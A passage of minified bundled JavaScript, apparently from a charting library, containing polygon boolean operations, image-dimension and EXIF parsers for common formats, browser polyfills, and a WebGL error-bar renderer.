c(b,!1)}}:{calculate:function(b,h,i,v){return b.forEach(function(T){u(g(T.start,T.end,T),!0)}),i.forEach(function(T){u(g(T.start,T.end,T),!1)}),c(h,v)}}}te.exports=P},26859:function(te){var Z={create:function(){var e={root:{root:!0,next:null},exists:function(M){return!(M===null||M===e.root)},isEmpty:function(){return e.root.next===null},getHead:function(){return e.root.next},insertBefore:function(M,P){for(var o=e.root,L=e.root.next;L!==null;){if(P(L)){M.prev=L.prev,M.next=L,L.prev.next=M,L.prev=M;return}o=L,L=L.next}o.next=M,M.prev=o,M.next=null},findTransition:function(M){for(var P=e.root,o=e.root.next;o!==null&&!M(o);)P=o,o=o.next;return{before:P===e.root?null:P,after:o,insert:function(L){return L.prev=P,L.next=o,P.next=L,o!==null&&(o.prev=L),L}}}};return e},node:function(e){return e.prev=null,e.next=null,e.remove=function(){e.prev.next=e.next,e.next&&(e.next.prev=e.prev),e.prev=null,e.next=null},e}};te.exports=Z},11328:function(te){function Z(e,M,P){var o=[],L=[];return e.forEach(function(S){var d=S.start,g=S.end;if(M.pointsSame(d,g)){console.warn("PolyBool: Warning: Zero-length segment detected; your epsilon is probably too small or too large");return}P&&P.chainStart(S);var t={index:0,matches_head:!1,matches_pt1:!1},r={index:0,matches_head:!1,matches_pt1:!1},f=t;function a(C,x,I){return f.index=C,f.matches_head=x,f.matches_pt1=I,f===t?(f=r,!1):(f=null,!0)}for(var l=0;l<o.length;l++){var u=o[l],s=u[0];u[1];var y=u[u.length-1];if(u[u.length-2],M.pointsSame(s,d)){if(a(l,!0,!0))break}else if(M.pointsSame(s,g)){if(a(l,!0,!1))break}else if(M.pointsSame(y,d)){if(a(l,!1,!0))break}else if(M.pointsSame(y,g)&&a(l,!1,!1))break}if(f===t){o.push([d,g]),P&&P.chainNew(d,g);return}if(f===r){P&&P.chainMatch(t.index);var c=t.index,b=t.matches_pt1?g:d,h=t.matches_head,u=o[c],i=h?u[0]:u[u.length-1],v=h?u[1]:u[u.length-2],T=h?u[u.length-1]:u[0],w=h?u[u.length-2]:u[1];if(M.pointsCollinear(v,i,b)&&(h?(P&&P.chainRemoveHead(t.index,b),u.shift()):(P&&P.chainRemoveTail(t.index,b),u.pop()),i=v),M.pointsSame(T,b)){o.splice(c,1),M.pointsCollinear(w,T,i)&&(h?(P&&P.chainRemoveTail(t.index,i),u.pop()):(P&&P.chainRemoveHead(t.index,i),u.shift())),P&&P.chainClose(t.index),L.push(u);return}h?(P&&P.chainAddHead(t.index,b),u.unshift(b)):(P&&P.chainAddTail(t.index,b),u.push(b));return}function E(C){P&&P.chainReverse(C),o[C].reverse()}function p(C,x){var I=o[C],k=o[x],B=I[I.length-1],_=I[I.length-2],F=k[0],O=k[1];M.pointsCollinear(_,B,F)&&(P&&P.chainRemoveTail(C,B),I.pop(),B=_),M.pointsCollinear(B,F,O)&&(P&&P.chainRemoveHead(x,F),k.shift()),P&&P.chainJoin(C,x),o[C]=I.concat(k),o.splice(x,1)}var A=t.index,m=r.index;P&&P.chainConnect(A,m);var n=o[A].length<o[m].length;t.matches_head?r.matches_head?n?(E(A),p(A,m)):(E(m),p(m,A)):p(m,A):r.matches_head?p(A,m):n?(E(A),p(m,A)):(E(m),p(A,m))}),L}te.exports=Z},55968:function(te){function Z(M,P,o){var L=[];return M.forEach(function(S){var d=(S.myFill.above?8:0)+(S.myFill.below?4:0)+(S.otherFill&&S.otherFill.above?2:0)+(S.otherFill&&S.otherFill.below?1:0);P[d]!==0&&L.push({id:o?o.segmentId():-1,start:S.start,end:S.end,myFill:{above:P[d]===1,below:P[d]===2},otherFill:null})}),o&&o.selected(L),L}var e={union:function(M,P){return Z(M,[0,2,1,0,2,2,0,0,1,0,1,0,0,0,0,0],P)},intersect:function(M,P){return Z(M,[0,0,0,0,0,2,0,2,0,0,1,1,0,2,1,0],P)},difference:function(M,P){return Z(M,[0,0,0,0,2,0,2,0,1,1,0,0,0,1,2,0],P)},differenceRev:function(M,P){return Z(M,[0,2,1,0,0,0,1,1,0,2,0,2,0,0,0,0],P)},xor:function(M,P){return Z(M,[0,2,1,0,2,0,0,1,1,0,0,2,0,1,2,0],P)}};te.exports=e},14847:function(te,Z,e){var M=e(21630).Transform,P=e(90715);function o(){M.call(this,{readableObjectMode:!0})}o.prototype=Object.create(M.prototype),o.prototype.constructor=o,P(o.prototype),Z.OF=function(S,d,g){for(var t=d,r=0;r<g.length;)if(S[t++]!==g[r++])return!1;return!0},Z.eG=function(S,d){var g=[],t=0;if(d&&d==="hex")for(;t<S.length;)g.push(parseInt(S.slice(t,t+2),16)),t+=2;else for(;t<S.length;t++)g.push(S.charCodeAt(t)&255);return g},Z.mP=function(S,d){return S[d]|S[d+1]<<8},Z.n8=function(S,d){return S[d+1]|S[d]<<8},Z.nm=function(S,d){return S[d]|S[d+1]<<8|S[d+2]<<16|S[d+3]*16777216},Z.Ag=function(S,d){return S[d+3]|S[d+2]<<8|S[d+1]<<16|S[d]*16777216};function L(S,d,g){Error.call(this),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=new Error().stack||"",this.name=this.constructor.name,this.message=S,d&&(this.code=d),g&&(this.statusCode=g)}L.prototype=Object.create(Error.prototype),L.prototype.constructor=L},71371:function(te){function Z(P,o){var L=new Error(P);return L.code=o,L}function e(P){try{return decodeURIComponent(escape(P))}catch{return P}}function M(P,o,L){this.input=P.subarray(o,L),this.start=o;var S=String.fromCharCode.apply(null,this.input.subarray(0,4));if(S!=="II*\0"&&S!=="MM\0*")throw Z("invalid TIFF signature","EBADDATA");this.big_endian=S[0]==="M"}M.prototype.each=function(P){this.aborted=!1;var o=this.read_uint32(4);for(this.ifds_to_read=[{id:0,offset:o}];this.ifds_to_read.length>0&&!this.aborted;){var L=this.ifds_to_read.shift();L.offset&&this.scan_ifd(L.id,L.offset,P)}},M.prototype.read_uint16=function(P){var o=this.input;if(P+2>o.length)throw Z("unexpected EOF","EBADDATA");return this.big_endian?o[P]*256+o[P+1]:o[P]+o[P+1]*256},M.prototype.read_uint32=function(P){var o=this.input;if(P+4>o.length)throw Z("unexpected EOF","EBADDATA");return this.big_endian?o[P]*16777216+o[P+1]*65536+o[P+2]*256+o[P+3]:o[P]+o[P+1]*256+o[P+2]*65536+o[P+3]*16777216},M.prototype.is_subifd_link=function(P,o){return P===0&&o===34665||P===0&&o===34853||P===34665&&o===40965},M.prototype.exif_format_length=function(P){switch(P){case 1:case 2:case 6:case 7:return 1;case 3:case 8:return 2;case 4:case 9:case 11:return 4;case 5:case 10:case 12:return 8;default:return 0}},M.prototype.exif_format_read=function(P,o){var L;switch(P){case 1:case 2:return L=this.input[o],L;case 6:return L=this.input[o],L|(L&128)*33554430;case 3:return L=this.read_uint16(o),L;case 8:return L=this.read_uint16(o),L|(L&32768)*131070;case 4:return L=this.read_uint32(o),L;case 9:return L=this.read_uint32(o),L|0;case 5:case 10:case 11:case 12:return null;case 7:return null;default:return null}},M.prototype.scan_ifd=function(P,o,L){var S=this.read_uint16(o);o+=2;for(var d=0;d<S;d++){var g=this.read_uint16(o),t=this.read_uint16(o+2),r=this.read_uint32(o+4),f=this.exif_format_length(t),a=r*f,l=a<=4?o+8:this.read_uint32(o+8),u=!1;if(l+a>this.input.length)throw Z("unexpected EOF","EBADDATA");for(var s=[],y=l,c=0;c<r;c++,y+=f){var b=this.exif_format_read(t,y);if(b===null){s=null;break}s.push(b)}Array.isArray(s)&&t===2&&(s=e(String.fromCharCode.apply(null,s)),s&&s[s.length-1]==="\0"&&(s=s.slice(0,-1))),this.is_subifd_link(P,g)&&Array.isArray(s)&&Number.isInteger(s[0])&&s[0]>0&&(this.ifds_to_read.push({id:g,offset:s[0]}),u=!0);var h={is_big_endian:this.big_endian,ifd:P,tag:g,format:t,count:r,entry_offset:o+this.start,data_length:a,data_offset:l+this.start,value:s,is_subifd_link:u};if(L(h)===!1){this.aborted=!0;return}o+=12}P===0&&this.ifds_to_read.push({id:1,offset:this.read_uint32(o)})},te.exports.ExifParser=M,te.exports.get_orientation=function(P){var o=0;try{return new M(P,0,P.length).each(function(L){if(L.ifd===0&&L.tag===274&&Array.isArray(L.value))return o=L.value[0],!1}),o}catch{return-1}}},76767:function(te,Z,e){var M=e(14847).n8,P=e(14847).Ag;function o(a,l){if(a.length<4+l)return null;var u=P(a,l);return a.length<u+l||u<8?null:{boxtype:String.fromCharCode.apply(null,a.slice(l+4,l+8)),data:a.slice(l+8,l+u),end:l+u}}te.exports.unbox=o;function L(a,l){for(var u=0;;){var s=o(a,u);if(!s)break;switch(s.boxtype){case"ispe":l.sizes.push({width:P(s.data,4),height:P(s.data,8)});break;case"irot":l.transforms.push({type:"irot",value:s.data[0]&3});break;case"imir":l.transforms.push({type:"imir",value:s.data[0]&1});break}u=s.end}}function S(a,l,u){for(var s=0,y=0;y<u;y++)s=s*256+(a[l+y]||0);return s}function d(a,l){for(var u=a[4]>>4&15,s=a[4]&15,y=a[5]>>4&15,c=M(a,6),b=8,h=0;h<c;h++){var i=M(a,b);b+=2;var v=M(a,b);b+=2;var T=S(a,b,y);b+=y;var w=M(a,b);if(b+=2,v===0&&w===1){var E=S(a,b,u),p=S(a,b+u,s);l.item_loc[i]={length:p,offset:E+T}}b+=w*(u+s)}}function g(a,l){for(var u=M(a,4),s=6,y=0;y<u;y++){var c=o(a,s);if(!c)break;if(c.boxtype==="infe"){for(var b=M(c.data,4),h="",i=8;i<c.data.length&&c.data[i];i++)h+=String.fromCharCode(c.data[i]);l.item_inf[h]=b}s=c.end}}function t(a,l){for(var u=0;;){var s=o(a,u);if(!s)break;s.boxtype==="ipco"&&L(s.data,l),u=s.end}}function r(a,l){for(var u=4;;){var s=o(a,u);if(!s)break;s.boxtype==="iprp"&&t(s.data,l),s.boxtype==="iloc"&&d(s.data,l),s.boxtype==="iinf"&&g(s.data,l),u=s.end}}function f(a){var l=a.reduce(function(y,c){return y.width>c.width||y.width===c.width&&y.height>c.height?y:c}),u=a.reduce(function(y,c){return y.height>c.height||y.height===c.height&&y.width>c.width?y:c}),s;return l.width>u.height||l.width===u.height&&l.height>u.width?s=l:s=u,s}te.exports.readSizeFromMeta=function(a){var l={sizes:[],transforms:[],item_inf:{},item_loc:{}};if(r(a,l),!!l.sizes.length){var u=f(l.sizes),s=1;l.transforms.forEach(function(c){var b={1:6,2:5,3:8,4:7,5:4,6:3,7:2,8:1},h={1:4,2:3,3:2,4:1,5:6,6:5,7:8,8:7};if(c.type==="imir"&&(c.value===0?s=h[s]:(s=h[s],s=b[s],s=b[s])),c.type==="irot")for(var i=0;i<c.value;i++)s=b[s]});var y=null;return l.item_inf.Exif&&(y=l.item_loc[l.item_inf.Exif]),{width:u.width,height:u.height,orientation:l.transforms.length?s:null,variants:l.sizes,exif_location:y}}},te.exports.getMimeType=function(a){var l=String.fromCharCode.apply(null,a.slice(0,4)),u={};u[l]=!0;for(var s=8;s<a.length;s+=4)u[String.fromCharCode.apply(null,a.slice(s,s+4))]=!0;if(!(!u.mif1&&!u.msf1&&!u.miaf))return l==="avif"||l==="avis"||l==="avio"?{type:"avif",mime:"image/avif"}:l==="heic"||l==="heix"?{type:"heic",mime:"image/heic"}:l==="hevc"||l==="hevx"?{type:"heic",mime:"image/heic-sequence"}:u.avif||u.avis?{type:"avif",mime:"image/avif"}:u.heic||u.heix||u.hevc||u.hevx||u.heis?u.msf1?{type:"heif",mime:"image/heif-sequence"}:{type:"heif",mime:"image/heif"}:{type:"avif",mime:"image/avif"}}},24461:function(te,Z,e){var M=e(14847).eG,P=e(14847).OF,o=e(14847).Ag,L=e(76767),S=e(71371),d=M("ftyp");te.exports=function(g){if(P(g,4,d)){var t=L.unbox(g,0);if(t){var r=L.getMimeType(t.data);if(r){for(var f,a=t.end;;){var l=L.unbox(g,a);if(!l)break;if(a=l.end,l.boxtype==="mdat")return;if(l.boxtype==="meta"){f=l.data;break}}if(f){var u=L.readSizeFromMeta(f);if(u){var s={width:u.width,height:u.height,type:r.type,mime:r.mime,wUnits:"px",hUnits:"px"};if(u.variants.length>1&&(s.variants=u.variants),u.orientation&&(s.orientation=u.orientation),u.exif_location&&u.exif_location.offset+u.exif_location.length<=g.length){var y=o(g,u.exif_location.offset),c=g.slice(u.exif_location.offset+y+4,u.exif_location.offset+u.exif_location.length),b=S.get_orientation(c);b>0&&(s.orientation=b)}return s}}}}}}},2504:function(te,Z,e){var M=e(14847).eG,P=e(14847).OF,o=e(14847).mP,L=M("BM");te.exports=function(S){if(!(S.length<26)&&P(S,0,L))return{width:o(S,18),height:o(S,22),type:"bmp",mime:"image/bmp",wUnits:"px",hUnits:"px"}}},47342:function(te,Z,e){var M=e(14847).eG,P=e(14847).OF,o=e(14847).mP,L=M("GIF87a"),S=M("GIF89a");te.exports=function(d){if(!(d.length<10)&&!(!P(d,0,L)&&!P(d,0,S)))return{width:o(d,6),height:o(d,8),type:"gif",mime:"image/gif",wUnits:"px",hUnits:"px"}}},31355:function(te,Z,e){var M=e(14847).mP,P=0,o=1,L=16;te.exports=function(S){var d=M(S,0),g=M(S,2),t=M(S,4);if(!(d!==P||g!==o||!t)){for(var r=[],f={width:0,height:0},a=0;a<t;a++){var l=S[6+L*a]||256,u=S[6+L*a+1]||256,s={width:l,height:u};r.push(s),(l>f.width||u>f.height)&&(f=s)}return{width:f.width,height:f.height,variants:r,type:"ico",mime:"image/x-icon",wUnits:"px",hUnits:"px"}}}},54261:function(te,Z,e){var M=e(14847).n8,P=e(14847).eG,o=e(14847).OF,L=e(71371),S=P("Exif\0\0");te.exports=function(d){if(!(d.length<2)&&!(d[0]!==255||d[1]!==216||d[2]!==255))for(var g=2;;){for(;;){if(d.length-g<2)return;if(d[g++]===255)break}for(var t=d[g++],r;t===255;)t=d[g++];if(208<=t&&t<=217||t===1)r=0;else if(192<=t&&t<=254){if(d.length-g<2)return;r=M(d,g)-2,g+=2}else return;if(t===217||t===218)return;var f;if(t===225&&r>=10&&o(d,g,S)&&(f=L.get_orientation(d.slice(g+6,g+r))),r>=5&&192<=t&&t<=207&&t!==196&&t!==200&&t!==204){if(d.length-g<r)return;var a={width:M(d,g+3),height:M(d,g+1),type:"jpg",mime:"image/jpeg",wUnits:"px",hUnits:"px"};return f>0&&(a.orientation=f),a}g+=r}}},6303:function(te,Z,e){var M=e(14847).eG,P=e(14847).OF,o=e(14847).Ag,L=M(`‰PNG\r

`),S=M("IHDR");te.exports=function(d){if(!(d.length<24)&&P(d,0,L)&&P(d,12,S))return{width:o(d,16),height:o(d,20),type:"png",mime:"image/png",wUnits:"px",hUnits:"px"}}},38689:function(te,Z,e){var M=e(14847).eG,P=e(14847).OF,o=e(14847).Ag,L=M("8BPS\0");te.exports=function(S){if(!(S.length<22)&&P(S,0,L))return{width:o(S,18),height:o(S,14),type:"psd",mime:"image/vnd.adobe.photoshop",wUnits:"px",hUnits:"px"}}},6881:function(te){function Z(f){return f===32||f===9||f===13||f===10}function e(f){return typeof f=="number"&&isFinite(f)&&f>0}function M(f){var a=0,l=f.length;for(f[0]===239&&f[1]===187&&f[2]===191&&(a=3);a<l&&Z(f[a]);)a++;return a===l?!1:f[a]===60}var P=/<[-_.:a-zA-Z0-9][^>]*>/,o=/^<([-_.:a-zA-Z0-9]+:)?svg\s/,L=/[^-]\bwidth="([^%]+?)"|[^-]\bwidth='([^%]+?)'/,S=/\bheight="([^%]+?)"|\bheight='([^%]+?)'/,d=/\bview[bB]ox="(.+?)"|\bview[bB]ox='(.+?)'/,g=/in$|mm$|cm$|pt$|pc$|px$|em$|ex$/;function t(f){var a=f.match(L),l=f.match(S),u=f.match(d);return{width:a&&(a[1]||a[2]),height:l&&(l[1]||l[2]),viewbox:u&&(u[1]||u[2])}}function r(f){return g.test(f)?f.match(g)[0]:"px"}te.exports=function(f){if(M(f)){for(var a="",l=0;l<f.length;l++)a+=String.fromCharCode(f[l]);var u=(a.match(P)||[""])[0];if(o.test(u)){var s=t(u),y=parseFloat(s.width),c=parseFloat(s.height);if(s.width&&s.height)return!e(y)||!e(c)?void 0:{width:y,height:c,type:"svg",mime:"image/svg+xml",wUnits:r(s.width),hUnits:r(s.height)};var b=(s.viewbox||"").split(" "),h={width:b[2],height:b[3]},i=parseFloat(h.width),v=parseFloat(h.height);if(!(!e(i)||!e(v))&&r(h.width)===r(h.height)){var T=i/v;return s.width?e(y)?{width:y,height:y/T,type:"svg",mime:"image/svg+xml",wUnits:r(s.width),hUnits:r(s.width)}:void 0:s.height?e(c)?{width:c*T,height:c,type:"svg",mime:"image/svg+xml",wUnits:r(s.height),hUnits:r(s.height)}:void 0:{width:i,height:v,type:"svg",mime:"image/svg+xml",wUnits:r(h.width),hUnits:r(h.height)}}}}}},66278:function(te,Z,e){var M=e(14847).eG,P=e(14847).OF,o=e(14847).mP,L=e(14847).n8,S=e(14847).nm,d=e(14847).Ag,g=M("II*\0"),t=M("MM\0*");function r(l,u,s){return s?L(l,u):o(l,u)}function f(l,u,s){return s?d(l,u):S(l,u)}function a(l,u,s){var y=r(l,u+2,s),c=f(l,u+4,s);return c!==1||y!==3&&y!==4?null:y===3?r(l,u+8,s):f(l,u+8,s)}te.exports=function(l){if(!(l.length<8)&&!(!P(l,0,g)&&!P(l,0,t))){var u=l[0]===77,s=f(l,4,u)-8;if(!(s<0)){var y=s+8;if(!(l.length-y<2)){var c=r(l,y+0,u)*12;if(!(c<=0)&&(y+=2,!(l.length-y<c))){var b,h,i,v;for(b=0;b<c;b+=12)v=r(l,y+b,u),v===256?h=a(l,y+b,u):v===257&&(i=a(l,y+b,u));if(h&&i)return{width:h,height:i,type:"tiff",mime:"image/tiff",wUnits:"px",hUnits:"px"}}}}}}},90784:function(te,Z,e){var M=e(14847).eG,P=e(14847).OF,o=e(14847).mP,L=e(14847).nm,S=e(71371),d=M("RIFF"),g=M("WEBP");function t(a,l){if(!(a[l+3]!==157||a[l+4]!==1||a[l+5]!==42))return{width:o(a,l+6)&16383,height:o(a,l+8)&16383,type:"webp",mime:"image/webp",wUnits:"px",hUnits:"px"}}function r(a,l){if(a[l]===47){var u=L(a,l+1);return{width:(u&16383)+1,height:(u>>14&16383)+1,type:"webp",mime:"image/webp",wUnits:"px",hUnits:"px"}}}function f(a,l){return{width:(a[l+6]<<16|a[l+5]<<8|a[l+4])+1,height:(a[l+9]<<l|a[l+8]<<8|a[l+7])+1,type:"webp",mime:"image/webp",wUnits:"px",hUnits:"px"}}te.exports=function(a){if(!(a.length<16)&&!(!P(a,0,d)&&!P(a,8,g))){var l=12,u=null,s=0,y=L(a,4)+8;if(!(y>a.length)){for(;l+8<y;){if(a[l]===0){l++;continue}var c=String.fromCharCode.apply(null,a.slice(l,l+4)),b=L(a,l+4);c==="VP8 "&&b>=10?u=u||t(a,l+8):c==="VP8L"&&b>=9?u=u||r(a,l+8):c==="VP8X"&&b>=10?u=u||f(a,l+8):c==="EXIF"&&(s=S.get_orientation(a.slice(l+8,l+8+b)),l=1/0),l+=8+b}if(u)return s>0&&(u.orientation=s),u}}}},91497:function(te,Z,e){te.exports={avif:e(24461),bmp:e(2504),gif:e(47342),ico:e(31355),jpeg:e(54261),png:e(6303),psd:e(38689),svg:e(6881),tiff:e(66278),webp:e(90784)}},33575:function(te,Z,e){var M=e(91497);function P(o){for(var L=Object.keys(M),S=0;S<L.length;S++){var d=M[L[S]](o);if(d)return d}return null}te.exports=function(L){return P(L)},te.exports.parsers=M},90386:function(te){var Z=te.exports={},e,M;function P(){throw new Error("setTimeout has not been defined")}function o(){throw new Error("clearTimeout has not been defined")}(function(){try{typeof setTimeout=="function"?e=setTimeout:e=P}catch{e=P}try{typeof clearTimeout=="function"?M=clearTimeout:M=o}catch{M=o}})();function L(s){if(e===setTimeout)return setTimeout(s,0);if((e===P||!e)&&setTimeout)return e=setTimeout,setTimeout(s,0);try{return e(s,0)}catch{try{return e.call(null,s,0)}catch{return e.call(this,s,0)}}}function S(s){if(M===clearTimeout)return clearTimeout(s);if((M===o||!M)&&clearTimeout)return M=clearTimeout,clearTimeout(s);try{return M(s)}catch{try{return M.call(null,s)}catch{return M.call(this,s)}}}var d=[],g=!1,t,r=-1;function f(){!g||!t||(g=!1,t.length?d=t.concat(d):r=-1,d.length&&a())}function a(){if(!g){var s=L(f);g=!0;for(var y=d.length;y;){for(t=d,d=[];++r<y;)t&&t[r].run();r=-1,y=d.length}t=null,g=!1,S(s)}}Z.nextTick=function(s){var y=new Array(arguments.length-1);if(arguments.length>1)for(var c=1;c<arguments.length;c++)y[c-1]=arguments[c];d.push(new l(s,y)),d.length===1&&!g&&L(a)};function l(s,y){this.fun=s,this.array=y}l.prototype.run=function(){this.fun.apply(null,this.array)},Z.title="browser",Z.browser=!0,Z.env={},Z.argv=[],Z.version="",Z.versions={};function u(){}Z.on=u,Z.addListener=u,Z.once=u,Z.off=u,Z.removeListener=u,Z.removeAllListeners=u,Z.emit=u,Z.prependListener=u,Z.prependOnceListener=u,Z.listeners=function(s){return[]},Z.binding=function(s){throw new Error("process.binding is not supported")},Z.cwd=function(){return"/"},Z.chdir=function(s){throw new Error("process.chdir is not supported")},Z.umask=function(){return 0}},5877:function(te,Z,e){for(var M=e(9748),P=typeof window>"u"?e.g:window,o=["moz","webkit"],L="AnimationFrame",S=P["request"+L],d=P["cancel"+L]||P["cancelRequest"+L],g=0;!S&&g<o.length;g++)S=P[o[g]+"Request"+L],d=P[o[g]+"Cancel"+L]||P[o[g]+"CancelRequest"+L];if(!S||!d){var t=0,r=0,f=[],a=1e3/60;S=function(l){if(f.length===0){var u=M(),s=Math.max(0,a-(u-t));t=s+u,setTimeout(function(){var y=f.slice(0);f.length=0;for(var c=0;c<y.length;c++)if(!y[c].cancelled)try{y[c].callback(t)}catch(b){setTimeout(function(){throw b},0)}},Math.round(s))}return f.push({handle:++r,callback:l,cancelled:!1}),r},d=function(l){for(var u=0;u<f.length;u++)f[u].handle===l&&(f[u].cancelled=!0)}}te.exports=function(l){return S.call(P,l)},te.exports.cancel=function(){d.apply(P,arguments)},te.exports.polyfill=function(l){l||(l=P),l.requestAnimationFrame=S,l.cancelAnimationFrame=d}},3593:function(te,Z,e){var M=e(21527),P=e(25075),o=e(93447),L=e(71299),S=e(56131),d=e(30120),g=e(57060),t=g.float32,r=g.fract32;te.exports=a;var f=[[1,0,0,1,0,0],[1,0,0,-1,0,0],[-1,0,0,-1,0,0],[-1,0,0,-1,0,0],[-1,0,0,1,0,0],[1,0,0,1,0,0],[1,0,-1,0,0,1],[1,0,-1,0,0,-1],[1,0,1,0,0,-1],[1,0,1,0,0,-1],[1,0,1,0,0,1],[1,0,-1,0,0,1],[-1,0,-1,0,0,1],[-1,0,-1,0,0,-1],[-1,0,1,0,0,-1],[-1,0,1,0,0,-1],[-1,0,1,0,0,1],[-1,0,-1,0,0,1],[0,1,1,0,0,0],[0,1,-1,0,0,0],[0,-1,-1,0,0,0],[0,-1,-1,0,0,0],[0,1,1,0,0,0],[0,-1,1,0,0,0],[0,1,0,-1,1,0],[0,1,0,-1,-1,0],[0,1,0,1,-1,0],[0,1,0,1,1,0],[0,1,0,-1,1,0],[0,1,0,1,-1,0],[0,-1,0,-1,1,0],[0,-1,0,-1,-1,0],[0,-1,0,1,-1,0],[0,-1,0,1,1,0],[0,-1,0,-1,1,0],[0,-1,0,1,-1,0]];function a(l,u){if(typeof l=="function"?(u||(u={}),u.regl=l):u=l,u.length&&(u.positions=u),l=u.regl,!l.hasExtension("ANGLE_instanced_arrays"))throw Error("regl-error2d: `ANGLE_instanced_arrays` extension should be enabled");var s=l._gl,y,c,b,h,i,v,T={color:"black",capSize:5,lineWidth:1,opacity:1,viewport:null,range:null,offset:0,count:0,bounds:null,positions:[],errors:[]},w=[];return h=l.buffer({usage:"dynamic",type:"uint8",data:new Uint8Array(0)}),c=l.buffer({usage:"dynamic",type:"float",data:new Uint8Array(0)}),b=l.buffer({usage:"dynamic",type:"float",data:new Uint8Array(0)}),i=l.buffer({usage:"dynamic",type:"float",data:new Uint8Array(0)}),v=l.buffer({usage:"static",type:"float",data:f}),m(u),y=l({vert:`
		precision highp float;

		attribute vec2 position, positionFract;
		attribute vec4 error;
		attribute vec4 color;

		attribute vec2 direction, lineOffset, capOffset;

		uniform vec4 viewport;
		uniform float lineWidth, capSize;
		uniform vec2 scale, scaleFract, translate, translateFract;

		varying vec4 fragColor;

		void main() {
			fragColor = color / 255.;

			vec2 pixelOffset = lineWidth * lineOffset + (capSize + lineWidth) * capOffset;

			vec2 dxy = -step(.5, direction.xy) * error.xz + step(direction.xy, vec2(-.5)) * error.yw;

			vec2 position = position + dxy;

			vec2 pos = (position + translate) * scale
				+ (positionFract + translateFract) * scale
				+ (position + translate) * scaleFract
				+ (positionFract + translateFract) * scaleFract;

			pos += pixelOffset / viewport.zw;

			gl_Position = vec4(pos * 2. - 1., 0, 1);
		}
		`,frag:`
		precision highp float;

		varying vec4 fragColor;

		uniform float opacity;

		void main() {
			gl_FragColor = fragColor;
			gl_FragColor.a *= opacity;
		}
		`,uniforms:{range:l.prop("range"),lineWidth:l.prop("lineWidth"),capSize:l.prop("capSize"),opacity:l.prop("opacity"),scale:l.prop("scale"),translate:l.prop("translate"),scaleFract:l.prop("scaleFract"),translateFract:l.prop("translateFract"),viewport:function(C,x){return[x.viewport.x,x.viewport.y,C.viewportWidth,C.viewportHeight]}},attributes:{color:{buffer:h,offset:function(C,x){return x.offset*4},divisor:1},position:{buffer:c,offset:function(C,x){return x.offset*8},divisor:1},positionFract:{buffer:b,offset:function(C,x){return x.offset*8},divisor:1},error:{buffer:i,offset:function(C,x){return x.offset*16},divisor:1},direction:{buffer:v,stride:24,offset:0},lineOffset:{buffer:v,stride:24,offset:8},capOffset:{buffer:v,stride:24,offset:16}},primitive:"triangles",blend:{enable:!0,color:[0,0,0,0],equation:{rgb:"add",alpha:"add"},func:{srcRGB:"src alpha",dstRGB:"one minus src alpha",srcAlpha:"one minus dst alpha",dstAlpha:"one"}},depth:{enable:!1},scissor:{enable:!0,box:l.prop("viewport")},viewport:l.prop("viewport"),stencil:!1,instances:l.prop("count"),count:f.length}),S(E,{update:m,draw:p,destroy:n,regl:l,gl:s,canvas:s.canvas,groups:w}),E;function E(C){C?m(C):C===null&&n(),p()}function p(C){if(typeof C=="number")return A(C);C&&!Array.isArray(C)&&(C=[C]),l._refresh(),w.forEach(function(x,I){if(x){if(C&&(C[I]?x.draw=!0:x.draw=!1),!x.draw){x.draw=!0;return}A(I)}})}function A(C){typeof C=="number"&&(C=w[C]),C!=null&&C&&C.count&&C.color&&C.opacity&&C.positions&&C.positions.length>1&&(C.scaleRatio=[C.scale[0]*C.viewport.width,C.scale[1]*C.viewport.height],y(C),C.after&&C.after(C))}function m(C){if(C){C.length!=null?typeof C[0]=="number"&&(C=[{positions:C}]):Array.isArray(C)||(C=[C]);var x=0,I=0;if(E.groups=w=C.map(function(N,G){var J=w[G];if(N)typeof N=="function"?N={after:N}:typeof N[0]=="number"&&(N={positions:N});else return J;return N=L(N,{color:"color colors fill",capSize:"capSize cap capsize cap-size",lineWidth:"lineWidth line-width width line thickness",opacity:"opacity alpha",range:"range dataBox",viewport:"viewport viewBox",errors:"errors error",positions:"positions position data points"}),J||(w[G]=J={id:G,scale:null,translate:null,scaleFract:null,translateFract:null,draw:!0},N=S({},T,N)),o(J,N,[{lineWidth:function(q){return+q*.5},capSize:function(q){return+q*.5},opacity:parseFloat,errors:function(q){return q=d(q),I+=q.length,q},positions:function(q,ne){return q=d(q,"float64"),ne.count=Math.floor(q.length/2),ne.bounds=M(q,2),ne.offset=x,x+=ne.count,q}},{color:function(q,ne){var fe=ne.count;if(q||(q="transparent"),!Array.isArray(q)||typeof q[0]=="number"){var X=q;q=Array(fe);for(var W=0;W<fe;W++)q[W]=X}if(q.length<fe)throw Error("Not enough colors");for(var V=new Uint8Array(fe*4),Y=0;Y<fe;Y++){var Q=P(q[Y],"uint8");V.set(Q,Y*4)}return V},range:function(q,ne,fe){var X=ne.bounds;return q||(q=X),ne.scale=[1/(q[2]-q[0]),1/(q[3]-q[1])],ne.translate=[-q[0],-q[1]],ne.scaleFract=r(ne.scale),ne.translateFract=r(ne.translate),q},viewport:function(q){var ne;return Array.isArray(q)?ne={x:q[0],y:q[1],width:q[2]-q[0],height:q[3]-q[1]}:q?(ne={x:q.x||q.left||0,y:q.y||q.top||0},q.right?ne.width=q.right-ne.x:ne.width=q.w||q.width||0,q.bottom?ne.height=q.bottom-ne.y:ne.height=q.h||q.height||0):ne={x:0,y:0,width:s.drawingBufferWidth,height:s.drawingBufferHeight},ne}}]),J}),x||I){var k=w.reduce(function(N,G,J){return N+(G?G.count:0)},0),B=new Float64Array(k*2),_=new Uint8Array(k*4),F=new Float32Array(k*4);w.forEach(function(N,G){if(N){var J=N.positions,q=N.count,ne=N.offset,fe=N.color,X=N.errors;q&&(_.set(fe,ne*4),F.set(X,ne*4),B.set(J,ne*2))}});var O=t(B);c(O);var z=r(B,O);b(z),h(_),i(F)}}}function n(){c.destroy(),b.destroy(),h.destroy(),i.destroy(),v.destroy()}}},46075:function(te,Z,e){var M=e(25075),P=e(21527),o=e(56131),L=e(56068),S=e(71299),d=e(30120),g=e(11474),t=e(54),r=e(57060),f=r.float32,a=r.fract32,l=e(83522),u=e(18863),s=e(6851);te.exports=y;function y(c,b){if(!(this instanceof y))return new y(c,b);if(typeof c=="function"?(b||(b={}),b.regl=c):b=c,b.length&&(b.positions=b),c=b.regl,!c.hasExtension("ANGLE_instanced_arrays"))throw Error("regl-error2d: `ANGLE_instanced_arrays` extension should be 